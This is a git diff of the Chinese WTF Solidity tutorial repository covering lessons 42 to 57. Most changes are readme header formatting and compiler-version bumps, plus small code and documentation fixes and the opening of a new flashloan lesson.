[github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将学习`WETH`--带包装的`ETH`。 diff --git a/42_PaymentSplit/PaymentSplit.sol b/42_PaymentSplit/PaymentSplit.sol index 677d72237..692692e14 100644 --- a/42_PaymentSplit/PaymentSplit.sol +++ b/42_PaymentSplit/PaymentSplit.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * 分账合约 diff --git a/42_PaymentSplit/readme.md b/42_PaymentSplit/readme.md index ae4d6b431..7dabadc9e 100644 --- a/42_PaymentSplit/readme.md +++ b/42_PaymentSplit/readme.md @@ -8,17 +8,17 @@ tags: # WTF Solidity极简入门: 42. 分账 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -discord:[WTF Academy](https://discord.gg/5akcruXrsk) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- -这一讲,我们介绍分账合约,该合约允许将`ETH`按权重转给一组账户中,进行分账。代码部分由oppenzepplin库的[PaymentSplitter合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol)简化而来。 +这一讲,我们介绍分账合约,该合约允许将`ETH`按权重转给一组账户中,进行分账。代码部分由OpenZeppelin库的[PaymentSplitter合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/finance/PaymentSplitter.sol)简化而来。 ## 分账 @@ -37,7 +37,7 @@ discord:[WTF Academy](https://discord.gg/5akcruXrsk) ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * 分账合约 diff --git a/43_TokenVesting/readme.md b/43_TokenVesting/readme.md index 098db51da..af2d01347 100644 --- a/43_TokenVesting/readme.md +++ b/43_TokenVesting/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 43. 线性释放 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍代币归属条款,并写一个线性释放`ERC20`代币的合约。代码由`OpenZeppelin`的`VestingWallet`合约简化而来。 diff --git a/44_TokenLocker/readme.md b/44_TokenLocker/readme.md index 76e98685b..f7a3efe77 100644 --- a/44_TokenLocker/readme.md +++ b/44_TokenLocker/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 44. 代币锁 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们介绍什么是流动性提供者`LP`代币,为什么要锁定流动性,并写一个简单的`ERC20`代币锁合约。 diff --git a/45_Timelock/Timelock.sol b/45_Timelock/Timelock.sol index e97acd549..a474ac416 100644 --- a/45_Timelock/Timelock.sol +++ b/45_Timelock/Timelock.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Timelock{ // 事件 @@ -109,6 +109,7 @@ contract Timelock{ if (bytes(signature).length == 0) { callData = data; } else { +// 这里如果采用encodeWithSignature的编码方式来实现调用管理员的函数,请将参数data的类型改为address。不然会导致管理员的值变为类似"0x0000000000000000000000000000000000000020"的值。其中的0x20是代表字节数组长度的意思. callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // 利用call执行交易 @@ -139,4 +140,4 @@ contract Timelock{ ) public pure returns (bytes32) { return keccak256(abi.encode(target, value, signature, data, executeTime)); } -} \ No newline at end of file +} diff --git a/45_Timelock/readme.md b/45_Timelock/readme.md index 1aaa0da9e..f95dd6514 100644 --- a/45_Timelock/readme.md +++ b/45_Timelock/readme.md @@ -8,15 +8,15 @@ tags: # WTF Solidity极简入门: 45. 时间锁 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) -社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://wechat.wtf.academy)|[官网 wtf.academy](https://wtf.academy) +社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们介绍时间锁和时间锁合约。代码由Compound的[Timelock合约](https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol)简化而来。 diff --git a/46_ProxyContract/ProxyContract.sol b/46_ProxyContract/ProxyContract.sol index 577011feb..aba848402 100644 --- a/46_ProxyContract/ProxyContract.sol +++ b/46_ProxyContract/ProxyContract.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev Proxy合约的所有调用都通过`delegatecall`操作码委托给另一个合约执行。后者被称为逻辑合约(Implementation)。 diff --git a/46_ProxyContract/readme.md b/46_ProxyContract/readme.md index cd3613eee..5fff25ed3 100644 --- a/46_ProxyContract/readme.md +++ b/46_ProxyContract/readme.md @@ -8,15 +8,15 @@ tags: # WTF Solidity极简入门: 46. 代理合约 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们介绍代理合约(Proxy Contract)。教学代码由OpenZeppelin的[Proxy合约](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol)简化而来。 diff --git a/47_Upgrade/Upgrade.sol b/47_Upgrade/Upgrade.sol index b031f533f..49c7e3e18 100644 --- a/47_Upgrade/Upgrade.sol +++ b/47_Upgrade/Upgrade.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 简单的可升级合约,管理员可以通过升级函数更改逻辑合约地址,从而改变合约的逻辑。 // 教学演示用,不要用在生产环境 diff --git a/47_Upgrade/readme.md b/47_Upgrade/readme.md index 24ce7061b..f8f7dfc0a 100644 --- a/47_Upgrade/readme.md +++ b/47_Upgrade/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 47. 可升级合约 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍可升级合约(Upgradeable Contract)。教学用的合约由`OpenZeppelin`中的合约简化而来,可能有安全问题,不要用于生产环境。 @@ -49,7 +49,7 @@ tags: ```solidity // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 简单的可升级合约,管理员可以通过升级函数更改逻辑合约地址,从而改变合约的逻辑。 // 教学演示用,不要用在生产环境 diff --git a/48_TransparentProxy/TransparentProxy.sol b/48_TransparentProxy/TransparentProxy.sol index 43e06ab19..d585ed709 100644 --- a/48_TransparentProxy/TransparentProxy.sol +++ b/48_TransparentProxy/TransparentProxy.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 选择器冲突的例子 // 去掉注释后,合约不会通过编译,因为两个函数有着相同的选择器 diff --git a/48_TransparentProxy/readme.md b/48_TransparentProxy/readme.md index 059a44e9c..4dbf50d4e 100644 --- a/48_TransparentProxy/readme.md +++ b/48_TransparentProxy/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 48. 透明代理 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍代理合约的选择器冲突(Selector Clash),以及这一问题的解决方案:透明代理(Transparent Proxy)。教学代码由`OpenZeppelin`的[TransparentUpgradeableProxy](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol)简化而成,不应用于生产。 diff --git a/49_UUPS/UUPS.sol b/49_UUPS/UUPS.sol index 837e92d70..ea0e0474e 100644 --- a/49_UUPS/UUPS.sol +++ b/49_UUPS/UUPS.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // UUPS的Proxy,跟普通的proxy像。 // 升级函数在逻辑函数中,管理员可以通过升级函数更改逻辑合约地址,从而改变合约的逻辑。 diff --git a/49_UUPS/readme.md b/49_UUPS/readme.md index e1ace6462..98338cf5a 100644 --- a/49_UUPS/readme.md +++ b/49_UUPS/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 49. 通用可升级代理 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍代理合约中选择器冲突(Selector Clash)的另一个解决办法:通用可升级代理(UUPS,universal upgradeable proxy standard)。教学代码由`OpenZeppelin`的`UUPSUpgradeable`简化而成,不应用于生产。 diff --git a/50_MultisigWallet/MultisigWallet.sol b/50_MultisigWallet/MultisigWallet.sol index 91b004d7e..481828f84 100644 --- a/50_MultisigWallet/MultisigWallet.sol +++ b/50_MultisigWallet/MultisigWallet.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // author: @0xAA_Science from wtf.academy -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /// 基于签名的多签钱包,由gnosis safe合约简化而来,教学使用。 contract MultisigWallet { diff --git a/50_MultisigWallet/readme.md b/50_MultisigWallet/readme.md index 87021d8d5..d208a3db4 100644 --- a/50_MultisigWallet/readme.md +++ b/50_MultisigWallet/readme.md @@ -10,15 +10,15 @@ tags: # WTF Solidity极简入门: 50. 多签钱包 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- V神曾说过,多签钱包要比硬件钱包更加安全([推文](https://twitter.com/VitalikButerin/status/1558886893995134978?s=20&t=4WyoEWhwHNUtAuABEIlcRw))。这一讲,我们将介绍多签钱包,并且写一个极简版多签钱包合约。教学代码(150行代码)由gnosis safe合约(几千行代码)简化而成。 diff --git a/51_ERC4626/ERC20.sol b/51_ERC4626/ERC20.sol index 69ebad906..2d12fa483 100644 --- a/51_ERC4626/ERC20.sol +++ b/51_ERC4626/ERC20.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // WTF Solidity by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; diff --git a/51_ERC4626/readme.md b/51_ERC4626/readme.md index c1fdb79f7..1a6d0d284 100644 --- a/51_ERC4626/readme.md +++ b/51_ERC4626/readme.md @@ -11,15 +11,15 @@ tags: # WTF Solidity极简入门: 51. ERC4626 代币化金库标准 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 我们经常说 DeFi 是货币乐高,可以通过组合多个协议来创造新的协议;但由于 DeFi 缺乏标准,严重影响了它的可组合性。而 ERC4626 扩展了 ERC20 代币标准,旨在推动收益金库的标准化。这一讲,我们将介绍 DeFi 新一代标准 ERC4626,并写一个简单的金库合约。教学代码参考 openzeppelin 和 solmate 中的 ERC4626 合约,仅用作教学。 @@ -67,7 +67,7 @@ IERC4626 接口合约还包含 `16` 个函数,根据功能分为 `4` 大类: - `asset()`: 返回金库的基础资产代币地址,用于存款,取款。 - 存款/提款逻辑 - `deposit()`: 存款函数,用户向金库存入 `assets` 单位的基础资产,然后合约铸造 `shares` 单位的金库额度给 `receiver` 地址。会释放 `Deposit` 事件。 - - `mint()`: 铸造函数(也是存款函数),用户存入 `assets` 单位的基础资产,然后合约给 `receiver` 地址铸造相应数量的金库额度。会释放 `Deposit` 事件。 + - `mint()`: 铸造函数(也是存款函数),用户指定想获得的 `shares` 单位的金库额度,函数经过计算后得出需要存入的 `assets` 单位的基础资产数量,然后合约从用户账户转出 `assets` 单位的基础资产,再给 `receiver` 地址铸造指定数量的金库额度。会释放 `Deposit` 事件。 - `withdraw()`: 提款函数,`owner` 地址销毁 `share` 单位的金库额度,然后合约将相应数量的基础资产发送给 `receiver` 地址。 - `redeem()`: 赎回函数(也是提款函数),`owner` 地址销毁 `shares` 数量的金库额度,然后合约将相应单位的基础资产发给 `receiver` 地址 - 会计逻辑 diff --git a/52_EIP712/readme.md b/52_EIP712/readme.md index 13296dff1..bceafa2cb 100644 --- a/52_EIP712/readme.md +++ b/52_EIP712/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 52. EIP712 类型化数据签名 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们介绍一种更先进、安全的签名方法,EIP712 类型化数据签名。 diff --git a/53_ERC20Permit/readme.md b/53_ERC20Permit/readme.md index d4a337d67..ede498bc1 100644 --- a/53_ERC20Permit/readme.md +++ b/53_ERC20Permit/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 53. ERC-2612 ERC20Permit -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们介绍 ERC20 代币的一个拓展,ERC20Permit,支持使用签名进行授权,改善用户体验。它在 EIP-2612 中被提出,已纳入以太坊标准,并被 `USDC`,`ARB` 等代币使用。 diff --git a/54_CrossChainBridge/readme.md b/54_CrossChainBridge/readme.md index c3f11eb25..7b9731628 100644 --- a/54_CrossChainBridge/readme.md +++ b/54_CrossChainBridge/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 54. 跨链桥 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们介绍跨链桥,能将资产从一条区块链转移到另一条区块链的基础设施,并实现一个简单的跨链桥。 @@ -56,7 +56,7 @@ tags: ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.10; +pragma solidity ^0.8.20; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; @@ -77,7 +77,7 @@ contract CrossChainToken is ERC20, Ownable { string memory name, string memory symbol, uint256 totalSupply - ) payable ERC20(name, symbol) { + ) payable ERC20(name, symbol) Ownable(msg.sender) { _mint(msg.sender, totalSupply); } @@ -154,7 +154,7 @@ const main = async () => { console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); }); - // 监听chain Sepolia的Bridge事件,然后在Goerli上执行mint操作,完成跨链 + // 监听chain Goerli的Bridge事件,然后在Sepolia上执行mint操作,完成跨链 contractGoerli.on("Bridge", async (user, amount) => { console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); @@ -164,10 +164,8 @@ const main = async () => { console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); }); - - }catch(e){ + } catch(e) { console.log(e); - } } diff --git a/55_MultiCall/readme.md b/55_MultiCall/readme.md index 4a7df9bca..d753055cf 100644 --- a/55_MultiCall/readme.md +++ b/55_MultiCall/readme.md @@ -7,15 +7,15 @@ tags: # WTF Solidity极简入门: 55. 多重调用 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍 MultiCall 多重调用合约,它的设计目的在于一次交易中执行多个函数调用,这样可以显著降低交易费用并提高效率。 diff --git a/56_Swap/SimpleSwap.sol b/56_DEX/SimpleSwap.sol similarity index 100% rename from 56_Swap/SimpleSwap.sol rename to 56_DEX/SimpleSwap.sol diff --git a/56_Swap/img/56-1.png b/56_DEX/img/56-1.png similarity index 100% rename from 56_Swap/img/56-1.png rename to 56_DEX/img/56-1.png diff --git a/56_Swap/readme.md b/56_DEX/readme.md similarity index 97% rename from 56_Swap/readme.md rename to 56_DEX/readme.md index c5196de5f..e004dbb52 100644 --- a/56_Swap/readme.md +++ b/56_DEX/readme.md @@ -1,5 +1,5 @@ --- -title: 56. Swap +title: 56. 去中心化交易所 tags: - solidity - erc20 @@ -8,15 +8,15 @@ tags: # WTF Solidity极简入门: 56. 去中心化交易所 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍恒定乘积自动做市商(Constant Product Automated Market Maker, CPAMM),它是去中心化交易所的核心机制,被Uniswap,PancakeSwap等一系列DEX采用。教学合约由[Uniswap-v2](https://github.com/Uniswap/v2-core)合约简化而来,包括了CPAMM最核心的功能。 diff --git a/57_Flashloan/img/57-1.png b/57_Flashloan/img/57-1.png new file mode 100644 index 000000000..7199c4c7a Binary files /dev/null and b/57_Flashloan/img/57-1.png differ diff --git a/57_Flashloan/readme.md b/57_Flashloan/readme.md new file mode 100644 index 000000000..39926cbc1 --- /dev/null +++ b/57_Flashloan/readme.md @@ -0,0 +1,496 @@ +--- +title: 57. 闪电贷 +tags: + - solidity + - flashloan + - defi + - uniswap + - aave +--- + +# WTF Solidity极简入门: 57. 闪电贷 + +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 + +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + 